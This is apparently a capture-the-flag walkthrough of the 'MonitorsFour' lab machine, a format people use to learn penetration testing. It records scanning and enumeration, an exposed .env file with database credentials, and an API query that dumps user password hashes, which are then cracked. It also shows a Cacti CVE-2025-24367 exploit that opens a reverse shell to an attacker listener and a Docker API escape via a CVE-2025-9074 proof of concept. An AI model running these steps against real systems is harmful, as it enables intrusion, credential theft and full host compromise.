Enum

mairon $ rustscan -a 10.129.8.223 --ulimit 5000 -- -A -sCV -oN mo
nitorsfour.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where scanning meets swagging. 😎

[~] The config file is expected to be at "/home/gkroon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.8.223:80
Open 10.129.8.223:5985
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -sCV -oN monitorsfour.txt" on ip 10.129.8.223
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 19:59 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
Initiating Ping Scan at 19:59
Scanning 10.129.8.223 [2 ports]
Completed Ping Scan at 19:59, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 19:59
Scanning monitorsfour.htb (10.129.8.223) [2 ports]
Discovered open port 80/tcp on 10.129.8.223
Discovered open port 5985/tcp on 10.129.8.223
Completed Connect Scan at 19:59, 0.01s elapsed (2 total ports)
Initiating Service scan at 19:59
Scanning 2 services on monitorsfour.htb (10.129.8.223)
Completed Service scan at 19:59, 6.06s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.8.223.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 5.05s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.08s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
Nmap scan report for monitorsfour.htb (10.129.8.223)
Host is up, received syn-ack (0.0090s latency).
Scanned at 2026-01-29 19:59:09 CET for 11s
PORT
PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack nginx
|_http-favicon: Unknown favicon MD5: 889DCABDC39A9126364F6A675AA4167D
| http-methods:
|_  Supported Methods: GET
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: MonitorsFour - Networking Solutions
5985/tcp open  http    syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

There’s a login page there on /login:

monitorsfour.htb login

SQLi on the main page did not succeed. I did found another vhost on the server:

mairon $ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://monitorsfour.htb --ad
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://monitorsfour.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
cacti.monitorsfour.htb Status: 302 [Size: 0] [--> /cacti]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished

That brings me to a Cacti 1.2.28 login page.

cacti.monitorsfour.htb cacti index.php

That one should be vulnerable to CVE-2025-24367, but it requires credentials first, after which we should be able to pop a shell.

Back to the first page:

$ gobuster dir --url http://monitorsfour.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://monitorsfour.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.env                 (Status: 200) [Size: 97]
.hta                 (Status: 403) [Size: 146]
.htpasswd            (Status: 403) [Size: 146]
.htaccess            (Status: 403) [Size: 146]
contact              (Status: 200) [Size: 367]
controllers          (Status: 301) [Size: 162] [--> http://monitorsfour.htb/controllers/]
forgot-password      (Status: 200) [Size: 3099]
login                (Status: 200) [Size: 4340]
static               (Status: 301) [Size: 162] [--> http://monitorsfour.htb/static/]
user                 (Status: 200) [Size: 35]
views                (Status: 301) [Size: 162] [--> http://monitorsfour.htb/views/]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

Interesting:

mairon $ curl -i monitorsfour.htb/.env
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 29 Jan 2026 19:20:49 GMT
Content-Type: application/octet-stream
Content-Length: 97
Last-Modified: Sat, 13 Sep 2025 05:37:28 GMT
Connection: keep-alive
ETag: "68c50318-61"
Accept-Ranges: bytes

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

Those credentials did not give me access on the main page’s login, nor on the cacti page. But the /user is interesting:

mairon $ curl -i http://monitorsfour.htb/user
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 29 Jan 2026 19:29:43 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=ae883ed557e7421918a12d898895b7ff; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

{"error":"Missing token parameter"}

Okay, so let’s add ?token=0 to start with.

mairon $ curl http://monitorsfour.htb/user?token=0 -s | jq
[
  {
    "id": 2,
    "username": "admin",
    "email": "admin@monitorsfour.htb",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    "name": "Marcus Higgins",
    "position": "System Administrator",
    "dob": "1978-04-26",
    "start_date": "2021-01-12",
    "salary": "320800.00"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "mwatson@monitorsfour.htb",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "user",
    "token": "0e543210987654321",
    "name": "Michael Watson",
    "position": "Website Administrator",
    "dob": "1985-02-15",
    "start_date": "2021-05-11",
    "salary": "75000.00"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "janderson@monitorsfour.htb",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "token": "0e999999999999999",
    "name": "Jennifer Anderson",
    "position": "Network Engineer",
    "dob": "1990-07-16",
    "start_date": "2021-06-20",
    "salary": "68000.00"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "dthompson@monitorsfour.htb",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "token": "0e111111111111111",
    "name": "David Thompson",
    "position": "Database Manager",
    "dob": "1982-11-23",
    "start_date": "2022-09-15",
    "salary": "83000.00"
  }
]

Gotcha. Let’s get cracking:

mairon $ curl http://monitorsfour.htb/user?token=0 -s | jq '.[].password' | sed 's/"//g' > hashes.txt
mairon $ hashcat -m 0 hashes.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz --potfile-disable
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
======================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-1265U, 2155/4310 MB (2155 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (4417 MB free)

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
* Passwords.: 14344383
* Bytes.....: 53291283
* Keyspace..: 14344383

56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Thu Jan 29 20:39:22 2026 (5 secs)
Time.Estimated...: Thu Jan 29 20:39:27 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3142.1 kH/s (0.42ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/4 (25.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344383/14344383 (100.00%)
Rejected.........: 0/14344383 (0.00%)
Restore.Point....: 14344383/14344383 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolinala -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 22%

Started: Thu Jan 29 20:39:20 2026
Stopped: Thu Jan 29 20:39:29 2026

Great, we cracked the admin’s hash: admin:wonderful1 This granted access on the main web page as admin. On the http://monitorsfour.htb/admin/users page, it shows the admin’s real name is Marcus Higgins.

monitorsfour.htb admin users

This granted access on the cacti page via marcus:wonderful1.

cacti.monitorsfour.htb cacti index.php 2

Sweet, now we can use our previously found CVE. First, start a listener:

mairon $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337

Then, launch our PoC:

mairon 18s $ sudo python exploit.py --url http://cacti.monitorsfour.htb --username marcus --password wonderful1 --lhost 10.10.14.74 --lport 1337 --http-port 80
============================================================
Cacti RCE Exploit - CVE-2025-24367
Template ID: 226 (Unix - Logged in Users)
============================================================

IMPORTANT: Enter the BASE URL (root directory)
Example: http://cacti.monitorsfour.htb/
NOT: http://cacti.monitorsfour.htb/cacti/
============================================================
[20:52:13] Starting exploit

[*] Target Information:

[*] Reverse Shell Setup:
[20:52:13] HTTP server started on port 80
[20:52:15] Logging in as marcus...
[20:52:15] Login successful
[20:52:15] Creating payload...
[20:52:15] Created reverse shell payload for 10.10.14.74:1337
[20:52:15] Stage 1: Uploading payload
[20:52:15] Starting upload stage with template ID: 226
[20:52:15] Generated PHP filename: gSh97.php
[20:52:16] Template update: HTTP 200
[20:52:16] Trigger response: HTTP 200
10.129.8.223 - - [29/Jan/2026 20:52:19] "GET /bash HTTP/1.1" 200 -
[20:52:19] File created successfully: gSh97.php
[20:52:19] Bash script successfully uploaded to target
[20:52:19] Stage 2: Triggering reverse shell
[20:52:21] Starting execute stage with template ID: 226
[20:52:21] Generated PHP filename: SQpx1.php
[20:52:21] Template update: HTTP 200
[20:52:21] Trigger response: HTTP 200
[20:52:29] Timeout - shell execution likely started!
[20:52:29] Reverse shell triggered - check your listener!
[20:52:29] HTTP server stopped
[20:52:29] Log saved to exploit_log.txt
[20:52:29] Exploit complete

We got a shell:

mairon 4m 53s $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.8.223:54482.
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
cat /home/marcus/user.txt
96cbe9ef6b360d6c0455deb37d338d97

But, this is peculiar, because this is supposed to be a Windows box.

Uploading and running LinPEAS hints this is Docker container, though:

[...]
╔══════════╣ Container details
═╣ Is this a container? ........... docker
[...]

The above is the main takeaway, but there are numerous other hints in the output.

I then uploaded a docker vuln scanner I found, and we should probably escape via CVE-2025-9074:

www-data@821fbd6a43fa:/tmp$ bash docker-scan.sh
bash docker-scan.sh

    ____             __              _____
   / __ \____  _____/ /_____  _____ / ___/_________ _____
  / / / / __ \/ ___/ //_/ _ \/ ___/ \__ \/ ___/ __ \/ __ \
 / /_/ / /_/ / /__/ ,< /  __/ /    ___/ / /__/ /_/ / / / /
/_____/\____/\___/_/|_|\___/_/    /____/\___/\__,_/_/ /_/
                                         By Ikonw
=================================================================
[+] Environment: Docker Container
Hostname: 821fbd6a43fa
User: www-data (33)

--- [ Host Discovery & Port Scan ] ---
[*] Testing Host: 172.18.0.1
[!] PORT 80 OPEN on 172.18.0.1
[!] PORT 3306 OPEN on 172.18.0.1
[*] Testing Host: 192.168.65.7
[!] PORT 2375 OPEN on 192.168.65.7
[!] CRITICAL: CVE-2025-9074 Detected! Unauthenticated Docker API at 192.168.65.7:2375

--- [ Security Checks & CVEs ] ---
[!] WARNING: Dangerous Cap: CAP_SYS_ADMIN
[!] WARNING: Dangerous Cap: CAP_SYS_PTRACE
[!] WARNING: Dangerous Cap: CAP_SYS_MODULE

================[ Summary ]================
Found 7 potential issue(s):
 - Open port 80 on 172.18.0.1
 - Open port 3306 on 172.18.0.1
 - Open port 2375 on 192.168.65.7
 - Vulnerable to CVE-2025-9074 (Exposed Docker API at 192.168.65.7:2375)
 - Dangerous capability: CAP_SYS_ADMIN
 - Dangerous capability: CAP_SYS_PTRACE
 - Dangerous capability: CAP_SYS_MODULE
===========================================

I found this PoC that served me well. I uploaded the poc.c and compiled it directly on the victim machine:

www-data@821fbd6a43fa:/tmp$ gcc poc.c -o poc-2025-9074

I also needed to upgrade the shell to an interactive one:

www-data@821fbd6a43fa:~/html/cacti$ SHELL=/bin/bash script -q /dev/null

Now we can run the PoC, and get the System Flag:

www-data@821fbd6a43fa:/tmp$ ./poc-2025-9074
./poc-2025-9074

                       _______________   ________   .________  ________________________  _____
______   ____   ____   \_____  \   _  \  \_____  \  |   ____/ /   __   \   _  \______  \/  |  |
\____ \ /  _ \_/ ___\   /  ____/  /_\  \  /  ____/  |____  \  \____    /  /_\  \  /    /   |  |_
|  |_> >  <_> )  \___  /       \  \_/   \/       \  /       \    /    /\  \_/   \/    /    ^   /\
|   __/ \____/ \___  > \_______ \_____  /\_______ \/______  /   /____/  \_____  /____/\____   |
|__|               \/          \/     \/         \/       \/                  \/           |__|
                    Docker API Unauthenticated Access Exploit
                           CVE-2025-9074 PoC Tool
                              by xwpd

Enter target (host:port) [127.0.0.1:2375]: 192.168.65.7:2375
192.168.65.7:2375

[β†’] Target: 192.168.65.7:2375

═══════════════════════════════════════════════════════════════
                  PHASE 1: Initial Verification
═══════════════════════════════════════════════════════════════

[*] Checking Docker API availability...
[βœ“] Connection successful! Exposed Docker API detected
[!] CVE-2025-9074 vulnerability found on target

═══════════════════════════════════════════════════════════════
                  PHASE 2: Image Preparation
═══════════════════════════════════════════════════════════════

[~] Pulling image 'alpine'...
[!] Image probably already exists on daemon

═══════════════════════════════════════════════════════════════
                  PHASE 3: Container Creation
═══════════════════════════════════════════════════════════════

[*] Creating malicious container...
[βœ“] Container created: 696061a3b50d

═══════════════════════════════════════════════════════════════
                  PHASE 4: Starting Container
═══════════════════════════════════════════════════════════════

[*] Starting container...
[βœ“] Container started successfully!

═══════════════════════════════════════════════════════════════
              Exploitation Completed Successfully!
═══════════════════════════════════════════════════════════════

╔══════════════════════════════════════════════════════════════╗
β•‘            Interactive PoC Shell Activated                 β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

[*] Available commands:
  cmd <command>        - Execute command in container
  revshell <ip> <port> - Deploy reverse shell
  info                 - Show container information
  exit                 - Exit interactive shell

(PoC-CVE-2025-9074)> cmd whoami
cmd whoami

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Command Output
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
d
root

0


─────────────────────────────────────────────────────────────

cmd cat /mnt/Users/Administrator/Desktop/root.txt
cmd cat /mnt/Users/Administrator/Desktop/root.txt

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Command Output
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
2a
1f314be47509b78d08b27299193dd071

0


─────────────────────────────────────────────────────────────

(PoC-CVE-2025-9074)>
pwned